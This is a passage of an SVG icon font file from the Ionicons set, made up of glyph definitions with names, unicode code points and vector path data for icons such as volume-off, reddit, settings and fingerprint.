s-5 22 -12 22s-12 -10 -12 -22s5 -22 12 -22zM336 321l18 -97c1 -3 -2 -5 -5 -4l-26 11c-1 0 -2 2 -2 3l-16 86c-3 11 -7 16 -16 16h-177c-9 0 -15 -5 -17 -16l-16 -86c0 -1 -1 -3 -2 -3l-25 -11c-3 -1 -7 1 -6 4l18 97c5 26 17 47 40 47h34l2 8c4 14 16 24 31 24h57
c15 0 27 -10 31 -24l2 -8h35c22 0 34 -20 40 -47v0z" />
    <glyph glyph-name="ion-ios-volume-off" unicode="&#xf264;" horiz-adv-x="384" 
d="M326 -16c-5 0 -9 3 -12 7l-228 388c-4 7 -2 15 5 19s15 2 19 -5l228 -388c4 -7 2 -15 -5 -19c-2 -1 -5 -2 -7 -2zM69 248l51 41l40 -69v-124c0 -6 -3 -11 -9 -14c-2 -1 -5 -2 -7 -2c-4 0 -7 2 -10 4l-65 52h-53c-9 0 -16 7 -16 16v80c0 9 7 16 16 16h53zM384 192v0
c0 -53 -19 -103 -53 -143l-13 22c27 34 42 77 42 121v0v0c0 53 -20 102 -58 139c-5 5 -5 12 0 17s11 5 16 0c42 -42 66 -97 66 -156v0zM321 192c0 -31 -8 -60 -23 -85l-15 24c9 19 14 39 14 61v0v0c0 37 -14 72 -40 98c-5 5 -5 12 0 17s12 5 17 0c30 -31 47 -71 47 -115v0v0
zM254 192c0 -3 -1 -7 -1 -10l-48 82c0 1 1 1 2 2c5 5 12 4 17 -1c19 -20 30 -45 30 -73v0v0z" />
    <glyph glyph-name="ion-logo-reddit" unicode="&#xf247;" horiz-adv-x="449" 
d="M259 160c0 18 14 31 32 31s32 -13 32 -31s-14 -32 -32 -32s-32 14 -32 32zM127 160c0 18 14 31 32 31s32 -13 32 -31s-14 -32 -32 -32s-32 14 -32 32zM449 197c0 -20 -11 -37 -27 -45c1 -5 1 -9 1 -14c0 -76 -88 -138 -198 -138s-199 61 -199 137c0 5 0 10 1 15
c-16 8 -27 25 -27 45c0 28 23 50 50 50c13 0 24 -5 33 -13c33 23 79 39 129 41h7l29 98l86 -17c7 16 22 28 41 28c25 0 44 -20 44 -45s-19 -45 -44 -45c-24 0 -45 19 -45 44l-69 14l-24 -77c50 -2 96 -18 129 -41c9 8 21 13 34 13c27 0 49 -22 49 -50zM375 366
c-15 0 -27 -12 -27 -27s12 -27 27 -27s27 12 27 27s-12 27 -27 27zM18 197c0 -11 6 -21 14 -27c7 19 20 38 37 53c-5 4 -12 6 -19 6c-18 0 -32 -14 -32 -32zM355 55c32 22 50 52 50 83v9c-1 6 -3 12 -5 18c-6 16 -15 30 -30 43c-4 4 -10 8 -15 12v0c-35 24 -80 37 -130 37
s-96 -13 -131 -37v0c-5 -4 -11 -8 -15 -12c-15 -13 -24 -27 -30 -43c-2 -6 -4 -12 -5 -18v-9c0 -31 18 -61 50 -83c35 -24 81 -37 131 -37s95 13 130 37zM417 170c8 6 14 16 14 27c0 18 -13 32 -31 32c-7 0 -15 -2 -20 -6c17 -15 30 -34 37 -53zM289 90l13 -12
c-1 -1 -29 -30 -77 -30s-77 29 -78 30l13 12s24 -24 65 -24c40 0 64 24 64 24z" />
    <glyph glyph-name="ion-ios-flashlight" unicode="&#xf141;" horiz-adv-x="170" 
d="M146 416c18 0 24 -14 24 -32h-170c0 18 6 32 24 32h122zM25 300c-16 18 -25 33 -25 68h170c0 -33 -10 -50 -25 -68c-8 -9 -12 -19 -12 -31v-266c0 -22 -18 -35 -40 -35h-16c-22 0 -40 13 -40 35v266c0 12 -4 22 -12 31zM57 210v-36c0 -16 13 -28 28 -28s28 12 28 28v36
c0 16 -13 28 -28 28s-28 -12 -28 -28zM65 175c0 11 9 20 20 20s20 -9 20 -20s-9 -20 -20 -20s-20 9 -20 20z" />
    <glyph glyph-name="ion-md-qr-scanner" unicode="&#xf35e;" 
d="M48 324v-68h-48v68c0 34 27 60 61 60h67v-48h-68c-7 0 -12 -5 -12 -12zM356 384c33 0 60 -26 60 -60v-68h-48v68c0 7 -6 12 -13 12h-67v48h68zM368 61v67h48v-67c0 -34 -26 -61 -60 -61h-68v49h68c7 0 12 5 12 12zM60 49h68v-49h-67c-34 0 -61 27 -61 61v67h48v-67
c0 -7 5 -12 12 -12z" />
    <glyph glyph-name="ion-ios-navigate" unicode="&#xf46e;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 64l96 224l-224 -96h128v-128z" />
    <glyph glyph-name="ion-md-power" unicode="&#xf359;" 
d="M231 400v-231h-46v231h46zM343 350c45 -38 73 -95 73 -158c0 -115 -93 -208 -208 -208s-208 93 -208 208c0 63 28 120 73 158l33 -33c-36 -30 -60 -74 -60 -125c0 -89 72 -162 162 -162s162 73 162 162c0 51 -24 96 -60 125z" />
    <glyph glyph-name="ion-ios-stopwatch" unicode="&#xf4b5;" horiz-adv-x="384" 
d="M352 304l-26 26c-3 3 -3 8 0 11l12 11c3 3 8 3 11 0l25 -25c3 -3 3 -8 0 -11l-11 -12c-3 -3 -8 -3 -11 0zM21 304l-11 12c-3 3 -3 8 0 11l25 25c3 3 8 3 11 0l12 -11c3 -3 3 -8 0 -11l-26 -26c-3 -3 -8 -3 -11 0zM216 366c95 -12 168 -92 168 -190
c0 -106 -86 -192 -192 -192s-192 86 -192 192c0 98 73 178 168 190v18c0 9 7 16 16 16h16c9 0 16 -7 16 -16v-18zM206 147c11 5 18 16 18 29s-7 24 -18 29v99c0 8 -6 14 -14 14s-14 -6 -14 -14v-99c-11 -5 -18 -16 -18 -29s7 -24 18 -29v-19c0 -8 6 -14 14 -14s14 6 14 14
v19z" />
    <glyph glyph-name="ion-md-key" unicode="&#xf316;" 
d="M201 224h215v-64h-43v-64h-69v64h-103c-14 -40 -53 -72 -98 -72c-57 0 -103 47 -103 104s44 104 101 104c45 0 86 -32 100 -72zM104 158c19 0 34 15 34 34s-15 34 -34 34s-35 -15 -35 -34s16 -34 35 -34z" />
    <glyph glyph-name="ion-ios-arrow-down" unicode="&#xf3d0;" horiz-adv-x="336" 
d="M168 154l127 127c9 9 25 9 34 0s9 -25 0 -34l-144 -144c-9 -9 -24 -10 -33 -1l-145 145c-5 5 -7 11 -7 17s2 12 7 17c9 9 25 9 34 0z" />
    <glyph glyph-name="ion-logo-linkedin" unicode="&#xf240;" horiz-adv-x="384" 
d="M353 384c18 0 31 -13 31 -30v-321c0 -17 -13 -33 -31 -33h-320c-18 0 -33 16 -33 33v321c0 17 15 30 33 30h320zM119 64v171h-55v-171h55zM93 261c18 0 30 13 30 29c0 17 -11 30 -29 30s-30 -13 -30 -30c0 -16 11 -29 29 -29v0zM320 64v100c0 51 -27 75 -63 75
c-29 0 -42 -17 -50 -28v24h-55v-171h55v97c0 5 0 10 2 14c4 10 13 20 28 20c20 0 28 -15 28 -37v-94h55z" />
    <glyph glyph-name="ion-ios-arrow-dropdown" unicode="&#xf110;" 
d="M100 237c8 8 19 8 27 0l81 -81l81 79c8 8 19 8 27 0c4 -4 6 -8 6 -13s-2 -10 -6 -14l-94 -94c-8 -7 -20 -6 -27 1l-95 95c-8 8 -8 19 0 27zM0 192c0 115 93 208 208 208s208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208zM332 316c-33 33 -77 52 -124 52
s-91 -19 -124 -52s-52 -77 -52 -124s19 -91 52 -124s77 -52 124 -52s91 19 124 52s52 77 52 124s-19 91 -52 124z" />
    <glyph glyph-name="ion-ios-settings" unicode="&#xf4a7;" horiz-adv-x="384" 
d="M352 192c0 -21 14 -39 32 -46c-5 -20 -13 -40 -24 -57c-6 3 -13 4 -20 4c-13 0 -25 -5 -35 -15c-15 -15 -18 -36 -10 -54c-17 -11 -37 -19 -57 -24c-7 18 -25 32 -46 32s-39 -14 -46 -32c-20 5 -40 13 -57 24c8 18 5 39 -10 54c-10 10 -22 15 -35 15c-7 0 -14 -1 -20 -4
c-11 17 -19 37 -24 57c18 7 32 25 32 46s-14 39 -32 46c5 20 13 39 24 57c6 -3 13 -4 20 -4c13 0 25 4 35 14c15 15 18 37 10 55c17 11 37 19 57 24c7 -18 25 -32 46 -32s39 14 46 32c20 -5 40 -13 57 -24c-8 -18 -5 -40 10 -55c10 -10 22 -14 35 -14c7 0 14 1 20 4
c11 -17 19 -37 24 -57c-19 -7 -32 -25 -32 -46zM193 112c44 0 80 36 80 80s-36 80 -80 80s-80 -36 -80 -80s36 -80 80 -80z" />
    <glyph glyph-name="ion-md-sad" unicode="&#xf373;" 
d="M208 160c45 0 83 -26 102 -64h-204c19 38 57 64 102 64zM208 400c114 0 208 -94 208 -208s-93 -208 -208 -208s-208 94 -208 208s93 208 208 208zM208 26c92 0 166 74 166 166s-74 166 -166 166s-166 -74 -166 -166s74 -166 166 -166zM281 213c-18 0 -31 13 -31 31
s13 31 31 31s31 -13 31 -31s-13 -31 -31 -31zM135 213c-18 0 -31 13 -31 31s13 31 31 31s31 -13 31 -31s-13 -31 -31 -31z" />
    <glyph glyph-name="ion-ios-tennisball" unicode="&#xf4bb;" 
d="M202 -16c-110 3 -199 93 -202 203c8 1 15 1 23 1c48 0 94 -18 128 -52s53 -80 53 -128c0 -8 -1 -16 -2 -24zM182 374c0 -115 92 -207 207 -207c9 0 18 0 26 1c-11 -96 -89 -173 -186 -183c1 8 1 15 1 23c0 115 -92 207 -207 207c-7 0 -15 0 -22 -1c10 96 87 172 182 184
c-1 -8 -1 -16 -1 -24zM261 246c-34 34 -53 80 -53 128c0 9 1 18 2 26c112 -2 204 -93 206 -205c-9 -1 -18 -2 -27 -2c-48 0 -94 19 -128 53zM184 399v0v0v0z" />
    <glyph glyph-name="ion-ios-card" unicode="&#xf142;" horiz-adv-x="448" 
d="M448 320v-48h-448v48c0 18 14 32 32 32h384c18 0 32 -14 32 -32zM0 64v160h448v-160c0 -18 -14 -32 -32 -32h-384c-18 0 -32 14 -32 32zM142 112c-8 0 -14 -6 -14 -14v0c0 -8 6 -14 14 -14h164c8 0 14 6 14 14v0c0 8 -6 14 -14 14h-164zM70 112c-8 0 -14 -6 -14 -14v0
c0 -8 6 -14 14 -14h12c8 0 14 6 14 14v0c0 8 -6 14 -14 14h-12z" />
    <glyph glyph-name="ion-md-create" unicode="&#xf2db;" horiz-adv-x="384" 
d="M0 80l236 236l80 -80l-236 -236h-80v80zM378 298l-40 -40l-80 80l40 40c9 9 20 9 29 0l51 -51c9 -9 9 -20 0 -29z" />
    <glyph glyph-name="ion-logo-vk" unicode="&#xf10d;" horiz-adv-x="448" 
d="M395 149c41 -38 53 -58 53 -70c0 -6 -3 -9 -6 -11c-5 -4 -22 -4 -34 -4h-28c-9 0 -18 -1 -26 2c-6 2 -12 5 -18 9c-12 9 -21 21 -31 32c-5 6 -10 11 -17 15c-8 4 -14 2 -19 -4c-6 -6 -7 -18 -7 -26s1 -18 -6 -24c-2 -1 -4 -2 -6 -2c-4 -1 -17 -2 -33 -2s-68 8 -105 49
c-36 39 -62 79 -82 120c-11 23 -30 55 -30 66c0 5 5 9 10 9h66c9 0 15 -4 19 -11s10 -26 23 -52c13 -25 25 -45 41 -50c2 0 8 -1 10 3c4 7 5 18 6 25c4 29 3 46 -5 67c-2 5 -7 7 -11 9c-7 3 -13 2 -11 5c4 5 12 10 19 12s21 4 40 4s40 -1 48 -7c1 -1 4 -4 5 -6
c5 -11 2 -29 1 -55c-1 -46 3 -51 5 -54s5 -3 6 -3c2 0 4 0 6 1c8 4 26 26 40 52c13 25 18 36 21 44s8 16 14 16h74c16 0 20 -3 20 -14c0 -17 -18 -39 -32 -58c-34 -45 -40 -53 -40 -59c0 -3 0 -5 1 -8c3 -8 10 -12 19 -20z" />
    <glyph glyph-name="ion-ios-wifi" unicode="&#xf26d;" horiz-adv-x="448" 
d="M224 352c82 0 163 -33 222 -88c3 -3 3 -9 0 -12l-27 -28c-3 -3 -8 -3 -11 0c-23 22 -51 39 -80 51c-33 14 -68 21 -104 21s-71 -7 -104 -21c-29 -12 -56 -29 -79 -51c-3 -3 -9 -3 -12 0l-27 28c-3 3 -2 9 1 12c58 55 139 88 221 88zM81 170c-3 3 -3 9 0 12
c38 34 88 55 143 55s104 -21 142 -55c4 -3 4 -9 1 -12l-29 -28c-3 -3 -8 -3 -11 0c-28 25 -65 39 -103 39s-75 -14 -103 -39c-3 -3 -8 -3 -11 0zM224 124c23 0 44 -10 59 -26c3 -3 3 -8 0 -11l-53 -53c-3 -3 -9 -3 -12 0l-53 53c-3 3 -3 8 0 11c15 16 36 26 59 26z" />
    <glyph glyph-name="ion-logo-vimeo" unicode="&#xf2c4;" horiz-adv-x="448" 
d="M445 334c7 -33 1 -66 -13 -97s-31 -59 -51 -87c-26 -36 -52 -71 -85 -101c-19 -18 -41 -35 -66 -44c-31 -11 -52 -5 -71 22c-14 19 -22 40 -28 63c-12 45 -25 90 -38 134c-4 12 -9 22 -15 33c-3 5 -8 10 -12 14c-5 4 -11 3 -17 0c-10 -6 -28 -18 -28 -18l-21 27
c26 24 82 71 82 71c11 9 33 25 48 27c21 3 38 -4 50 -22c11 -17 15 -37 18 -57c7 -41 11 -82 23 -122c3 -10 8 -20 13 -29c7 -11 15 -13 25 -5c4 3 7 6 10 10c20 24 37 52 48 81c3 9 3 17 3 27c0 13 -10 25 -25 26s-24 -1 -39 -7c6 24 24 62 54 84c29 21 71 24 94 16
s36 -23 41 -46z" />
    <glyph glyph-name="ion-ios-checkmark-circle-outline" unicode="&#xf149;" 
d="M315 255c2 -2 1 -4 0 -6l-134 -134v0c-2 -2 -7 -5 -12 -5c-4 0 -7 1 -11 5l-56 56c-2 2 -2 4 0 6l17 18c1 1 2 1 3 1s2 0 3 -1l44 -45l122 123c1 1 2 1 3 1v0c1 0 2 0 3 -1zM208 372c-48 0 -93 -19 -127 -53s-53 -79 -53 -127s19 -93 53 -127s79 -53 127 -53
s93 19 127 53s53 79 53 127s-19 93 -53 127s-79 53 -127 53zM208 400v0c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208z" />
    <glyph glyph-name="ion-md-battery-full" unicode="&#xf296;" horiz-adv-x="224" 
d="M194 371c16 0 30 -14 30 -30v-343c0 -16 -13 -30 -30 -30h-164c-16 0 -30 13 -30 30v343c0 16 14 30 30 30h37v45h90v-45h37z" />
    <glyph glyph-name="ion-md-color-wand" unicode="&#xf2d3;" horiz-adv-x="384" 
d="M137 291l247 -254l-36 -37l-248 253zM117 316v68h37v-68h-37zM117 118v68h37v-68h-37zM206 235v37h69v-37h-69zM242 332l-48 -48l-25 26l47 48zM105 310l-26 -26l-47 48l26 26zM32 170l47 48l26 -26l-47 -48zM0 235v37h65v-37h-65z" />
    <glyph glyph-name="ion-md-analytics" unicode="&#xf278;" horiz-adv-x="448" 
d="M347 270c4 -1 9 -2 13 -2c11 0 22 4 30 10l58 -39v-212c0 -24 -19 -43 -43 -43h-362c-24 0 -43 19 -43 43v57l61 57c7 -4 15 -6 24 -6c13 0 24 5 33 13l58 -33c0 -3 -1 -6 -1 -9c0 -26 22 -48 48 -48s48 22 48 48c0 12 -4 22 -11 30zM85 231c-26 0 -48 -22 -48 -48
c0 -6 1 -12 3 -17l-40 -38v229c0 24 19 43 43 43h362c24 0 43 -19 43 -43v-80l-41 28c1 4 1 7 1 11c0 26 -22 48 -48 48s-48 -22 -48 -48c0 -10 3 -20 9 -28l-87 -135c-3 1 -7 1 -11 1c-12 0 -22 -4 -30 -11l-60 34v6c0 26 -22 48 -48 48z" />
    <glyph glyph-name="ion-ios-compass" unicode="&#xf15d;" 
d="M232 168c1 -1 1 -3 0 -4l-98 -49c-2 -1 -4 1 -3 3l49 98c1 1 3 1 4 0zM208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM249 151v0l81 160c1 2 -1 4 -3 3l-159 -81h-1l-81 -160c-1 -2 1 -4 3 -3z" />
    <glyph glyph-name="ion-logo-dribbble" unicode="&#xf233;" horiz-adv-x="384" 
d="M192 384c106 0 192 -86 192 -192s-86 -192 -192 -192s-192 86 -192 192s86 192 192 192zM314 296c-17 -25 -47 -47 -85 -64c5 -10 9 -20 13 -31c33 3 75 4 110 2c-2 35 -16 68 -38 93zM192 352c-14 0 -26 -2 -39 -5c23 -23 43 -53 62 -87c34 14 62 33 79 55
c-28 23 -63 37 -102 37zM120 334c-41 -21 -71 -58 -83 -103h25c44 0 85 6 121 17c-19 34 -40 63 -63 86zM32 200v-8c0 -40 15 -78 40 -106c24 45 67 83 122 106c4 2 8 3 14 4c-3 8 -6 16 -10 24c-40 -13 -88 -20 -138 -21c-9 0 -19 1 -28 1zM192 32c20 0 39 3 57 10
c-3 25 -8 53 -15 79c-4 17 -10 33 -16 49c-7 -2 -13 -4 -17 -6c-48 -22 -86 -56 -107 -98c27 -21 61 -34 98 -34zM278 58c40 26 68 67 73 116c-30 2 -68 3 -99 0c4 -12 9 -25 12 -38c7 -27 11 -52 14 -78z" />
    <glyph glyph-name="ion-ios-fitness" unicode="&#xf1ab;" horiz-adv-x="448" 
d="M320 168h-192c-4 0 -8 4 -8 8v32c0 4 4 8 8 8h192c4 0 8 -4 8 -8v-32c0 -4 -4 -8 -8 -8zM346 86v212c0 12 10 22 22 22v0c12 0 22 -10 22 -22v-212c0 -12 -10 -22 -22 -22v0c-12 0 -22 10 -22 22zM428 256c11 0 20 -9 20 -20v-88c0 -11 -9 -20 -20 -20h-12
c-4 0 -8 4 -8 8v112c0 4 4 8 8 8h12zM102 86c0 -12 -10 -22 -22 -22v0c-12 0 -22 10 -22 22v212c0 12 10 22 22 22v0c12 0 22 -10 22 -22v-212zM32 256c4 0 8 -4 8 -8v-112c0 -4 -4 -8 -8 -8h-12c-11 0 -20 9 -20 20v88c0 11 9 20 20 20h12z" />
    <glyph glyph-name="ion-ios-aperture" unicode="&#xf108;" 
d="M202 77h179c-25 -37 -61 -66 -103 -81l-22 22l-55 55c-1 1 -1 4 1 4zM119 113c0 2 2 3 3 2l127 -127c-13 -3 -27 -4 -41 -4c-32 0 -62 7 -89 20v109zM208 400c32 0 63 -7 90 -20v-109c0 -2 -3 -3 -4 -2l-126 127c13 3 26 4 40 4zM20 281h110c2 0 2 -2 1 -3l-127 -127
c-3 13 -4 27 -4 41c0 32 7 62 20 89zM139 388l77 -77c1 -1 1 -4 -1 -4h-180c25 37 61 66 104 81zM119 227c0 1 0 2 1 3l50 50c1 1 2 1 3 1h71c1 0 1 0 2 -1l50 -50c1 -1 2 -2 2 -3v-70c0 -1 -1 -2 -2 -3l-50 -50c-1 -1 -1 -1 -2 -1h-71c-1 0 -2 0 -3 1l-50 50
c-1 1 -1 2 -1 3v70zM412 232c3 -13 4 -26 4 -40c0 -32 -7 -62 -20 -89h-109c-2 0 -2 2 -1 3zM324 365c37 -25 65 -61 80 -104l-77 -77c-1 -1 -3 0 -3 2v179zM12 122l78 78c1 1 3 0 3 -2v-179c-37 25 -66 60 -81 103z" />
    <glyph glyph-name="ion-md-document" unicode="&#xf2e1;" horiz-adv-x="320" 
d="M192 400l128 -128v-248c0 -22 -18 -40 -40 -40h-240c-22 0 -40 18 -40 40v336c0 22 18 40 40 40h152zM176 256h112l-112 112v-112z" />
    <glyph glyph-name="ion-ios-bicycle" unicode="&#xf127;" horiz-adv-x="448" 
d="M93 159c-17 0 -34 -8 -46 -20s-19 -29 -19 -46s7 -34 19 -46s29 -19 46 -19s34 7 46 19s20 29 20 46s-8 35 -20 47s-29 19 -46 19zM93 187v0c51 0 94 -43 94 -94s-43 -93 -94 -93s-93 42 -93 93s42 94 93 94zM288 320c-18 0 -32 14 -32 32s14 32 32 32s32 -14 32 -32
s-14 -32 -32 -32zM355 159c-17 0 -34 -8 -46 -20s-20 -29 -20 -46s8 -34 20 -46s29 -19 46 -19s34 7 46 19s19 29 19 46s-7 35 -19 47s-29 19 -46 19zM355 187v0c51 0 93 -43 93 -94s-42 -93 -93 -93s-94 42 -94 93s43 94 94 94zM336 256c9 0 16 -7 16 -16s-7 -16 -16 -16
h-57s-19 24 -38 52l-49 -52c18 -14 48 -25 48 -38v-90c0 -9 -7 -16 -16 -16s-16 7 -16 16v66s-16 16 -62 42c-6 4 -18 10 -18 27c0 8 3 17 9 23l72 69c6 6 14 9 22 9c11 0 21 -7 27 -16l30 -60h48z" />
    <glyph glyph-name="ion-ios-clipboard" unicode="&#xf14c;" horiz-adv-x="352" 
d="M60 288c0 9 7 16 16 16h200c9 0 16 -7 16 -16v-240c0 -9 -7 -16 -16 -16h-200c-9 0 -16 7 -16 16v240zM242 367c8 0 14 -7 14 -15v-18c0 -1 -1 -2 -2 -2h-156c-1 0 -2 1 -2 2v16c0 10 8 17 18 17h14c0 6 1 11 3 16c2 6 6 11 10 16c9 10 21 17 35 17s27 -7 36 -17
c4 -5 8 -10 10 -16c2 -5 2 -10 2 -16h18zM179 352c7 1 12 6 13 13c1 10 -8 19 -18 18c-7 -1 -12 -7 -13 -14c-1 -10 8 -18 18 -17zM320 400c18 0 32 -14 32 -32v-368c0 -17 -15 -32 -32 -32h-288c-18 0 -32 14 -32 56v344c0 18 14 32 32 32h76c2 0 3 -2 2 -3
c-3 -4 -6 -9 -8 -16c0 -1 0 -1 -1 -1h-1c-22 0 -27 -18 -27 -37v-9c0 -1 -1 -2 -2 -2h-22c-9 0 -16 -7 -16 -16v-297c0 -9 7 -16 16 -16h253c9 0 16 7 16 16v297c0 9 -7 16 -16 16h-20c-1 0 -2 1 -2 2v14v1v0c-1 19 -8 34 -27 34h-1c-1 0 -2 0 -2 1c-2 5 -4 9 -7 13
c-1 1 0 3 2 3h75z" />
    <glyph glyph-name="ion-ios-arrow-dropright-circle" unicode="&#xf12b;" 
d="M0 192c0 115 93 208 208 208s208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208zM244 192l-79 -81c-8 -8 -8 -19 0 -27c4 -4 8 -6 13 -6s10 2 14 6l94 94c7 8 6 20 -1 27l-95 95c-8 8 -19 8 -27 0s-8 -19 0 -27z" />
    <glyph glyph-name="ion-md-mail-unread" unicode="&#xf172;" horiz-adv-x="464" 
d="M336 320c0 35 29 64 64 64s64 -29 64 -64s-29 -64 -64 -64s-64 29 -64 64zM351 245c14 -9 31 -15 49 -15s34 5 48 14v-185c0 -24 -19 -43 -43 -43h-362c-24 0 -43 19 -43 43v266c0 24 19 43 43 43h281c-9 -14 -14 -30 -14 -48s5 -36 15 -50l-101 -67l-176 117v-43
l176 -117z" />
    <glyph glyph-name="ion-md-shirt" unicode="&#xf37a;" horiz-adv-x="384" 
d="M256 384l128 -32v-96l-77 16l13 -272h-256l13 272l-77 -16v96l128 32c11 -19 40 -32 64 -32s53 13 64 32z" />
    <glyph glyph-name="ion-ios-finger-print" unicode="&#xf17c;" 
d="M403 266c8 -24 13 -50 13 -73v-11c0 -7 -7 -13 -14 -13v0c-4 0 -8 1 -10 4s-4 6 -4 10c0 2 1 7 1 10c0 20 -5 42 -12 63s-17 38 -27 48c-5 5 -5 15 0 20c3 3 6 4 10 4v0c4 0 7 -1 10 -4c13 -13 24 -34 33 -58zM95 337c-4 0 -9 2 -11 6c-2 3 -3 6 -2 10s2 7 5 9
c35 25 76 38 121 38c47 0 92 -17 131 -49c6 -5 7 -13 2 -19c-3 -3 -7 -5 -11 -5c-3 0 -6 1 -8 3c-34 28 -73 43 -114 43c-39 0 -75 -12 -105 -33c-2 -2 -5 -3 -8 -3zM27 193c0 -30 6 -53 15 -82c1 -4 1 -8 -1 -11s-5 -5 -9 -6c-1 0 -3 -1 -4 -1c-6 0 -11 4 -13 10
c-10 31 -15 57 -15 90c0 50 18 99 51 137c3 3 7 4 11 4v0c3 0 6 -1 8 -3c3 -2 5 -5 5 -9s-1 -7 -3 -10c-29 -33 -45 -75 -45 -119zM308 318c26 -23 46 -55 57 -94c12 -43 16 -96 10 -155c-1 -7 -7 -12 -14 -12h-1c-8 1 -13 7 -12 15c5 55 2 106 -9 145c-10 34 -27 62 -49 81
s-50 29 -79 29c-40 0 -76 -14 -101 -41c-23 -25 -36 -59 -33 -95c2 -31 6 -48 9 -63c5 -23 9 -42 6 -92c0 -7 -7 -13 -14 -13c-1 0 -3 1 -4 1c-6 2 -10 7 -10 14c3 46 -1 64 -5 85c-3 16 -7 33 -9 66c-3 43 11 84 40 115c30 32 73 50 121 50c36 0 70 -12 97 -36zM326 180
c5 -31 7 -56 7 -77c0 -42 -5 -76 -5 -77c-1 -7 -7 -12 -14 -12h-2c-4 1 -7 3 -9 6s-3 6 -2 10c0 0 4 33 4 73c0 20 -2 43 -7 73c-5 31 -16 57 -32 75c-16 17 -36 26 -58 26c-15 0 -29 -3 -42 -9c-2 -1 -4 -1 -6 -1c-4 0 -8 2 -11 5s-4 8 -3 12s4 7 8 9c16 8 35 12 54 12
c30 0 56 -12 77 -34s35 -53 41 -91zM137 244c-11 -16 -14 -35 -10 -59c9 -54 18 -116 10 -174c-1 -7 -7 -12 -14 -12h-1c-4 0 -7 2 -9 5s-3 7 -3 11c8 54 -1 114 -10 165c-5 31 0 58 15 80c3 4 7 6 11 6c3 0 7 -1 9 -3c5 -5 6 -13 2 -19zM270 60c7 0 13 -5 13 -13
c0 -1 1 -21 -3 -41c-1 -6 -6 -11 -13 -11h-5c-6 2 -10 9 -9 16c3 17 3 35 3 35c0 8 5 14 13 14h1zM247 242c11 -10 19 -26 24 -44c8 -28 11 -67 12 -114c0 -4 -2 -7 -4 -10c-3 -3 -5 -4 -9 -4v0c-8 0 -14 7 -14 14c-1 45 -5 82 -12 108c-3 12 -13 39 -38 39
c-11 0 -20 -4 -26 -11c-6 -8 -9 -21 -6 -37c13 -65 16 -127 9 -184c-1 -7 -7 -12 -14 -12h-1c-7 1 -13 7 -12 15c7 54 4 114 -8 176c-6 31 2 50 10 60c11 13 28 20 48 20c15 0 30 -6 41 -16zM217 202c8 -19 14 -51 16 -90c3 -39 2 -80 -2 -116c-1 -7 -6 -12 -13 -12h-2
c-4 0 -7 2 -9 5s-3 6 -3 10c4 33 4 73 2 110s-7 67 -14 83c-3 7 0 15 7 18c2 1 3 1 5 1v0c6 0 11 -4 13 -9z" />
    <glyph glyph-name="ion-logo-buffer" unicode="&#xf22d;" horiz-adv-x="384" 
d="M7 284c-9 4 -9 11 0 15l169 82c4 2 10 3 16 3s12 -1 16 -3l169 -82c9 -4 9 -11 0 -15l-169 -82c-4 -2 -10 -3 -16 -3s-12 1 -16 3zM377 200c9 -4 9 -12 0 -16l-169 -81c-4 -2 -10 -4 -16 -4s-12 2 -16 4l-169 81c-9 4 -9 12 0 16c0 0 27 13 33 16c5 3 7 3 13 0
s123 -60 123 -60c4 -2 10 -3 16 -3s12 1 16 3c0 0 121 59 125 61s5 2 9 0s35 -17 35 -17zM377 100c9 -4 9 -11 0 -15l-169 -82c-4 -2 -10 -3 -16 -3s-12 1 -16 3l-169 82c-9 4 -9 11 0 15c0 0 27 14 33 17c5 3 7 2 13 -1s123 -59 123 -59c4 -2 10 -3 16 -3s12 1 16 3
c0 0 121 58 125 60s5 2 9 0s35 -17 35 -17z" />
    <glyph glyph-name="ion-ios-arrow-forward" unicode="&#xf3d1;" horiz-adv-x="192" 
d="M134 192l-127 127c-9 9 -9 25 0 34s25 9 34 0l144 -144c9 -9 10 -24 1 -33l-145 -145c-5 -5 -11 -7 -17 -7s-12 2 -17 7c-9 9 -9 25 0 34z" />
    <glyph glyph-name="ion-md-construct" unicode="&#xf2d5;" horiz-adv-x="480" 
d="M415 55c7 -5 7 -18 -2 -25l-41 -41c-7 -7 -17 -7 -24 0l-114 113l-96 -112c-8 -8 -19 -8 -27 0l-43 43c-10 8 -10 21 -2 27l105 105l-14 15c-41 -16 -89 -8 -123 26c-35 35 -44 88 -23 130l78 -75l53 53l-76 75c42 19 96 12 131 -23c34 -34 43 -80 27 -121l13 -13v0
l58 -58v0zM478 231c2 -2 2 -5 0 -7l-55 -56c-2 -2 -6 -2 -8 0l-35 34c-2 2 -2 6 0 8l10 10l-14 13c-6 4 -17 4 -30 0l-31 -37l-57 57l29 28s-1 47 -17 60s-45 29 -45 29v30c30 0 55 -7 91 -25s63 -45 70 -52s17 -18 23 -27s5 -18 5 -18l18 -16l4 4c2 2 6 2 8 0z" />
    <glyph glyph-name="ion-ios-restaurant" unicode="&#xf201;" horiz-adv-x="288" 
d="M272 384c5 0 16 0 16 -11v-357c0 -9 -7 -16 -16 -16s-16 7 -16 16v128s-32 23 -32 80c0 83 23 160 48 160zM176 384h8s24 -107 24 -128s-13 -38 -32 -45v-195c0 -9 -7 -16 -16 -16s-16 7 -16 16v195c-19 7 -32 24 -32 45s24 128 24 128h8l-10 -104c0 -4 4 -8 8 -8
s8 4 8 8l6 104h8l6 -104c0 -4 4 -8 8 -8s8 4 8 8zM48 384c26 0 48 -64 48 -128c0 -21 -13 -38 -32 -45v-195c0 -9 -7 -16 -16 -16s-16 7 -16 16v195c-19 7 -32 24 -32 45c0 64 22 128 48 128z" />
    <glyph glyph-name="ion-md-repeat" unicode="&#xf36a;" horiz-adv-x="384" 
d="M85 296v0v-83h-42v125h256v62l85 -83l-85 -83v62h-214zM299 88v0v83h42v-125h-256v-62l-85 83l85 83v-62h214z" />
    <glyph glyph-name="ion-ios-reverse-camera" unicode="&#xf49f;" horiz-adv-x="384" 
d="M354 288c18 0 30 -13 30 -31v-176c0 -18 -12 -33 -30 -33h-320c-18 0 -34 15 -34 33v176c0 18 16 31 34 31h7v8c0 4 4 8 8 8h26c4 0 8 -4 8 -8v-8h4c4 0 9 2 12 5c28 32 40 43 52 43h85c12 0 23 -11 51 -43c3 -3 7 -5 12 -5h55zM244 108c1 4 1 8 -2 11c-2 2 -5 4 -8 4
